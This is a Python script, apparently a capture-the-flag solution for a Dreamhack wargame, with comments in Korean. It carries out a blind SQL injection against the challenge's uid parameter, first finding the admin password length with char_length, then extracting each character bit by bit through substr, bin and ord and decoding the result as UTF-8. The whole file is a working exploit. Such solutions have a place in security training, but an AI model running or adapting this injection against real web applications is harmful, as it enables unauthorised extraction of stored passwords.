# admin 비밀번호의 길이를 알아내야 함
# 비밀번호에는 한글과 아스키코드가 섞여있음
# --> 그냥 length 함수 쓰면 오류가 날 수 있기 때문에 char_length 함수 사용해야함
import requests
host = "http://host3.dreamhack.games:8475/"
pw_len = 0
def password_length():
global pw_len
while True:
pw_len += 1
query = f"admin' and char_length(upw) = {pw_len}-- -"
r = requests.get(f"{host}?uid={query}")
if "exists" in r.text:
break
print(pw_len)
# upw에 저장된 각 문자의 비트열의 길이를 알아내기 위한 코드
# select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
# admin' and length(bin(ord(substr(upw, 1,1))))=1;
# 예를 들어서 upw = admin
# a의 비트열 길이 추출
# d의 비트열 길이 추출
# m의 비트열 길이 추출
# 이런식
# upw의 길이만큼 반복
#
bit_length = 0
def find_bit():
global bit_length
pw = ""
for i in range(1, pw_len+1):
# 비트열 길이 추출
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
# upw의 첫번째 비트열의 길이가 1?
r = requests.get(f"{host}?uid={query}")
if "exists" in r.text:
break
print(f"첫번째 문자의 비트열 길이 : {bit_length}")
# 각 문자별 비트열 추출
# ex) 첫번째 비트열 추출
# 비트열의 첫번째 문자가 1인지 확인
bit_str = ""
for j in range(1, bit_length + 1):
# 첫번째 문자를 비트열로 변환한 값의 첫번째 값이
query1 = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r1 = requests.get(f"{host}?uid={query1}")
if "exists" in r1.text:
bit_str += "1"
else:
bit_str += "0"
print(f"첫번째 문자열의 비트열 : {bit_str}")
# 변환된 비트열들을 문자로 변환
pw += int.to_bytes(int(bit_str, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(f"password : {pw}")
password_length()
print("\n")
find_bit()